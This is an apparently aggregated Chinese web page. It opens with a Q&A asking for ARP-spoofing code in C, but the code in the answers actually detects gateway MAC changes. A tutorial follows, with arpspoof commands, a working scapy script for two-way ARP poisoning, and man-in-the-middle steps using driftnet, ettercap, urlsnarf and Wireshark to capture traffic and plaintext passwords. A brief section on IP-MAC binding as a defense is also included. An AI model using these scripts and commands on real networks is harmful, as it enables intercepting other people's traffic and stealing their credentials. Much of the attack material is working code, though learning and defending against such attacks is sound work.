C语言写ARP欺骗

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了C语言写ARP欺骗相关的知识,希望对你有一定的参考价值。

用C语言写一ARP欺骗的软件的代码。越简单越好。

#include <stdafx.h>
#include "iostream"
#include "fstream"
#include "string"
#include "windows.h"
#include "Iphlpapi.h"

#pragma comment(lib , "IpHlpApi.lib")
#pragma comment(lib , "ws2_32.lib")

#define MACFILE "mac.ini" //mac配置文件
#define GATEWAY "gateway.ini"//网关地址文件

using namespace std;
int main(int argc,char * argv[])

string ipadd;
string macadd;
char bc;
//读取网关ip地址
fstream _ipadd;
_ipadd.open(GATEWAY,ios::in);
while(_ipadd.get(bc))

ipadd+=bc;


cout << "ARP欺骗检查工具 By:Neeao \n";
cout << "网关IP:" << ipadd << endl;

int iReturn;
DWORD dwIP;
BYTE byMAC[6];
DWORD dwLen;
WSADATA WsaData;
WSAStartup(MAKEWORD(2, 0), &WsaData);

dwIP = inet_addr(ipadd.c_str());
//cout << dwIP <<"\n";
if (dwIP == INADDR_NONE)

cout << "IP地址出错: " << ipadd;
return 1;

//循环获取mac地址
while(TRUE)


// 发送ARP查询包获得 MAC 地址
dwLen = 6;
iReturn = SendARP(dwIP, 0, (PULONG) &byMAC, &dwLen);
if (iReturn != NO_ERROR)

printf("出错了:只能获取当前网关下主机的MAC地址.\n", argv[1]);
//__leave;
return 1;


char MACadd[50];
sprintf(MACadd,"%.2X-%.2X-%.2X-%.2X-%.2X-%.2X",byMAC[0],byMAC[1],byMAC[2],byMAC[3],byMAC[4],byMAC[5]);
//cout << MACadd;

//判断macadd是否为空,不为空直接跳过
if(macadd=="")

fstream _mac;
_mac.open(MACFILE,ios::in);
if(!_mac)

//cout<<MACFILE<<"没有被创建";
//第一次运行写入mac地址,为初始mac地址。
fstream _macr;
_macr.open(MACFILE,ios::out|ios::app);
if(!_macr)

cout<<"文件创建失败,磁盘不可写或者文件为只读!";
exit(1);

_macr << MACadd;
_macr.close();
macadd = MACadd;

else

char ch;
string content;
while(_mac.get(ch))

content+=ch;


_mac.close();
macadd = content;

cout<< "MAC地址为:" <<content<< endl;



//判断mac地址
if(macadd==MACadd)

cout << "ok\n";
//return 1;
else

cout << "MAC地址被修改了\n";
//return 1;

Sleep(2000);//每2秒钟获取一次

return 0;

参考资料:http://www.honkbase.com/wz/ShowArticle.asp?ArticleID=6247

参考技术A 清明节放假,看了两天C++,网上找了点代码,修改了下。
原理:
需要将网关ip地址写入gateway.ini,第一次运行的时候自动生成mac.ini文件,保存网关原始的mac地址,每两秒钟自动获取一次网关ip跟原始的mac做对比,不对则提示。

对于c++操作ini文件的还是没搞定,用了两个配置文件。
主要代码如下:
#include <stdafx.h>
#include "iostream"
#include "fstream"
#include "string"
#include "windows.h"
#include "Iphlpapi.h"

#pragma comment(lib , "IpHlpApi.lib")
#pragma comment(lib , "ws2_32.lib")

#define MACFILE "mac.ini" //mac配置文件
#define GATEWAY "gateway.ini"//网关地址文件

using namespace std;
int main(int argc,char * argv[])

string ipadd;
string macadd;
char bc;
//读取网关ip地址
fstream _ipadd;
_ipadd.open(GATEWAY,ios::in);
while(_ipadd.get(bc))

ipadd+=bc;


cout << "ARP欺骗检查工具 By:Neeao \n";
cout << "网关IP:" << ipadd << endl;

int iReturn;
DWORD dwIP;
BYTE byMAC[6];
DWORD dwLen;
WSADATA WsaData;
WSAStartup(MAKEWORD(2, 0), &WsaData);

dwIP = inet_addr(ipadd.c_str());
//cout << dwIP <<"\n";
if (dwIP == INADDR_NONE)

cout << "IP地址出错: " << ipadd;
return 1;

//循环获取mac地址
while(TRUE)


// 发送ARP查询包获得 MAC 地址
dwLen = 6;
iReturn = SendARP(dwIP, 0, (PULONG) &byMAC, &dwLen);
if (iReturn != NO_ERROR)

printf("出错了:只能获取当前网关下主机的MAC地址.\n", argv[1]);
//__leave;
return 1;


char MACadd[50];
sprintf(MACadd,"%.2X-%.2X-%.2X-%.2X-%.2X-%.2X",byMAC[0],byMAC[1],byMAC[2],byMAC[3],byMAC[4],byMAC[5]);
//cout << MACadd;

//判断macadd是否为空,不为空直接跳过
if(macadd=="")

fstream _mac;
_mac.open(MACFILE,ios::in);
if(!_mac)

//cout<<MACFILE<<"没有被创建";
//第一次运行写入mac地址,为初始mac地址。
fstream _macr;
_macr.open(MACFILE,ios::out|ios::app);
if(!_macr)

cout<<"文件创建失败,磁盘不可写或者文件为只读!";
exit(1);

_macr << MACadd;
_macr.close();
macadd = MACadd;

else

char ch;
string content;
while(_mac.get(ch))

content+=ch;


_mac.close();
macadd = content;

cout<< "MAC地址为:" <<content<< endl;



//判断mac地址
if(macadd==MACadd)

cout << "ok\n";
//return 1;
else

cout << "MAC地址被修改了\n";
//return 1;

Sleep(2000);//每2秒钟获取一次

return 0;
参考技术B ftp://cisco.com/arp.pdf
自己看看吧,要尽快,我会撤离文件的。临时的PDF 。本回答被提问者采纳

一文了解ARP欺骗

前言

学习ARP欺骗

ARP欺骗也是很古老的渗透手段了,主要起着信息收集的作用,比如你可以利用欺骗获取对方的流量,从流量分析你认为重要的信息,例如某某账号密码。或是利用Arp攻击,切断局域网内某一用户的网络访问(单向欺骗)

1、ARP简介

ARP协议是“Address Resolution Protocol”(地址解析协议)的缩写,其作用是将已知IP地址转换为MAC地址

其过程是:

  • 你在知道你要给某个ip送包裹,但是你不知道对方的MAC地址,于是你就向内网中广播:谁有xxx的mac address?比如我们打开wireshark,搜索arp可以看到当前正在进行的arp通信,我的ip称之为57,我想知道146的mac地址,于是我广播道“谁有146?告诉57(我)”
  • 不一会cisco收到了我的询问,他知道问题的答案,于是告诉我说“146在xx:xx:xx:xx:xx:xx(mac addr)
  • 然后就可以愉快的通信了

详细原理可参见:一文搞明白ARP

2、ARP欺骗原理

利用的ARP弱点:ARP协议信任以太网所有的节点,效率高但是不安全。这份协议没有其它字协议来保证以太网内部信息传输的安全,它不会检查自己是否接受或发送过请求包,只要它就收到的arp广播包,它就会把对应的ip-mac更新到自己的缓存表

所以原理也很简单:冒充网关或主机,无脑不断的向以太网发送自己的ARP广播包,告知自己的ip-mac,此时其它主机就会被欺骗,更新我们的ip-mac为网关主机的ip-mac,那么其它主机的数据包就会发送到我们的主机上

分类:

  • 主机型ARP欺骗:欺骗者主机冒充网关设备对其他主机进行欺骗
  • 网关型ARP欺骗:欺骗者主机冒充其他主机对网关设备进行欺骗
  • 主机网关一起骗

3、ARP欺骗实现

利用arpspoof即可轻松实现:

  • 打开 IP 转发:echo 1 > /proc/sys/net/ipv4/ip_forward
  • 然后使用 arpspoof 命令进行欺骗:arpspoof -i <网卡名> -t <欺骗的目标> <我是谁>
  • 终端1, 欺骗主机 A 我是网关:arpspoof -i eth0 -t 192.168.0.100 192.168.0.1
  • 终端2, 欺骗网关我是主机 A:arpspoof -i eth0 -t 192.168.0.1 192.168.0.100
  • 欺骗成功之后可以通过抓包工具所有流量

看到一个比较详细的实验:网络攻防实战–ARP欺骗

脚本

一个windows下的脚本

#-*- coding:utf-8 -*-
from scapy.all import *
import sys
from optparse import OptionParser
import os

#查看本地网卡
print("查看本地网卡:")
show_interfaces()
print("\\n")
def main():
    print("网卡网关靶机显示:")
    #网卡
    interface = "Intel(R) Dual Band Wireless-AC 3168"
    #interface = input("请输入网卡名称:")
    #网关
    gateway_ip = "192.168.0.1"
    #gateway_ip = input("请输入网关IP:")
    #靶机
    target_ip = "192.168.0.5"
    #target_ip = input("请输入靶机IP:")

    #设置网卡
    conf.iface = interface
    #关闭提示信息
    conf.verb = 0

    print("[*] 网卡: %s"%interface)

    #获取网卡MAC
    gateway_mac = getmacbyip(gateway_ip)

    if gateway_mac is None:
        print("[!] 获取网关MAC失败,Exiting")
        sys.exit(0)
    else:
        print("[*] 网关: %s MAC: %s"%(gateway_ip,gateway_mac))

    #获取靶机MAC
    target_mac = getmacbyip(target_ip)

    if target_mac is None:
        print("[!] 获取靶机MAC失败,Exiting")
    else:
        print("[*] 靶机: %s MAC: %s"%(target_ip,target_mac))
    print("\\n")

    attact_target(gateway_ip,gateway_mac,target_ip,target_mac)

#对靶机和网关进行双向欺骗
def attact_target(gateway_ip,gateway_mac,target_ip,target_mac):
    '''
    使用scapy构造ARP请求包
    构造了源硬件地址,源协议地址,目标硬件地址,目标协议地址
    默认的以太网头部
    >>> ls(Ether())
    dst        : DestMACField                        = 'ff:ff:ff:ff:ff:ff' (None)
    src        : SourceMACField                      = '3a:48:5a:8c:2e:4b' (None)
    type       : XShortEnumField                     = 36864           (36864)
    >>>
    '''

    '''
    查看ARP报文ls(ARP())
    >>> ls(ARP())
    hwtype     : XShortField                         = 1               (1)
    ptype      : XShortEnumField                     = 2048            (2048)
    hwlen      : FieldLenField                       = None            (None)
    plen       : FieldLenField                       = None            (None)
    op         : ShortEnumField                      = 1               (1)
    hwsrc      : MultipleTypeField                   = '3a:48:5a:8c:2e:4b' (None)
    psrc       : MultipleTypeField                   = '192.168.0.12'  (None)
    hwdst      : MultipleTypeField                   = None            (None)
    pdst       : MultipleTypeField                   = None            (None)
    >>>
    '''
    '''
    op:操作码,默认1,1为ARP请求包,2为ARP响应包
    hwsrc:发送方的MAC地址,默认本机
    psrc:发送方IP,告诉对方我自己的IP,用来伪装
    hwdst:对方的MAC地址
    pdst:对方的IP地址
    '''
    #构造ARP包

    #欺骗靶机,本机为网关(hwsrc默认本机MAC),本机为gateway
    poison_gateway = ARP()
    poison_gateway.op = 2
    poison_gateway.psrc = target_ip
    poison_gateway.pdst = gateway_ip
    poison_gateway.hwdst = gateway_mac

    #欺骗网关,本机为靶机(hwsrc默认本机MAC),本机为target
    poison_target = ARP()
    poison_target.op = 2
    poison_target.psrc = gateway_ip
    poison_target.pdst = target_ip
    poison_target.hwdst = target_mac

    print("[*] 正在进行ARP欺骗。[CRTL-C 停止]")

    while True:
        try:
            #循环发送ARP包
            send(poison_target)
            send(poison_gateway)
            #间隔2秒,避免影响网络
            time.sleep(2)
        except KeyboardInterrupt:
            #恢复ARP缓冲
            restore_target(gateway_ip,gateway_mac,target_ip,target_mac)
            break
    print("[*] ARP包已发送")

#恢复ARP缓存
def restore_target(gateway_ip,gateway_mac,target_ip,target_mac):
    print("[*] 恢复ARP缓存......")
    '''
    以广播形式发送
    hwdst="ff:ff:ff:ff:ff:ff"
    '''
    send(ARP(op=2,psrc=gateway_ip,pdst=target_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac,count=5))
    send(ARP(op=2,psrc=target_ip,pdst=gateway_ip,hwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac,count=5))

if __name__ == "__main__":
    main()

4、防御

防御原理很简单,就是不让攻击者肆意表明自己就是网关主机。我们进入网关主机(路由器后台地址),网络参数一栏一般有ip与mac绑定一栏,把网关的mac地址与网关地址绑定就好了。只要确定了对应关系,当攻击者发布arp相应包时,就不会更新相应的ip-mac缓存表

5、基于ARP欺骗的MITM

作为中间人进行欺骗,需要设置ip转发,获取目标主机B的流量,其后配合其它工具(drifnet)等进行进一步嗅探。

值得一提的是,我们的Arp攻击也是欺骗,但它是单向欺骗,冒充网关主机来欺骗目标主机。实际中,中间人攻击一般是双向欺骗。即作为中间人,主机A双向欺骗主机B与C获得通信内容,但是不破坏通信数据的传输。为了不影响B与C传输的数据丢失,主机A开启ip转发,开启后来自B主机的数据包经过A主机的Kali后转发给主机C。欺骗两个主机B和C后,我们就能嗅探到双向数据包。

如果你的kali在虚拟机,那么以下步骤均需要一个外置的usb无线网卡。在虚拟机中,网络的连接比较复杂,而Ip转发很大程度上取决于网卡性能。如果你是在虚拟机中Kali进行转发,基本都会失败,因为笔记本的内置无限网卡满足不了需求

(1)linux的ip转发

linux因为系统安全,是不支持IP转发的,其配置文件写在/proc/sys/net/ipv4ip_forward中。默认为0,需要修改为1

开启方法大致有两种:

  • 只接进入文件修改
cd /proc/sys/net/ipv4
ls
cat ip_forward
#显示结果为0
echo 1 > ip_forward
cat ip_forward
#显示结果为1,修改成功
  • 使用echo
# echo  "1"> /proc/sys/net/ipv4/ip_forward

(2)对网关和目标主机B的双向欺骗

命令如下:

root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward && arpspoof -i eth0 -t 192.168.11.105 -r 192.168.11.1

(3)利用driftnet进程监控

持续保持欺骗,再重新打开一个命令终端。
输入命令:

root@kali:~# driftnet -i eth0

跳出来的drift窗口即会显示本机正在浏览的图片

(4)使用ettercap工具获取密码

  • 打开新的终端,输入 attercap -G 启动工具
  • 点击Sniff -> unified sniffing,选择要抓包的网卡,默认是自己的网卡eth0,点确定
  • 然后单击Hosts -> Scan for host,待扫描完成后再次Scan for host,此时可以看到ettercap-NG已经扫描的主机列表
  • 选择攻击目标,点击192.168.11.105的ip地址,点击Add to Target 1 ,然后选择网关的ip地址192.168.11.1,点击Add to Target 2
  • 明确目标攻击方式:点击Mitm -> arp poisoning -> Sniff remote connections -> 确定
  • 开始监听:start -> Start sniffing

工具就会抓取主机B的数据包和主机C返回的数据包,分析http post请求可以判断账号密码信息。

(5)urlsnarf:获得受害者的HTTP请求

输入命令:

root@kali:~# urlsnarf -i eth0

(6)使用Wireshark抓包

使用Wireshark抓取所有的数据包,过滤分析不同请求,类似于ettercap。
例如,要找HTTP POST请求,过滤,查看明文密码,一般是以POST形式上传的账号密码。

结语

学习了下古老的ARP欺骗

以上是关于C语言写ARP欺骗的主要内容,如果未能解决你的问题,请参考以下文章

arp欺骗技术

arp欺骗

ARP欺骗是怎么回事?

如何进行ARP欺骗攻击

ARP欺骗

Python黑客编程ARP欺骗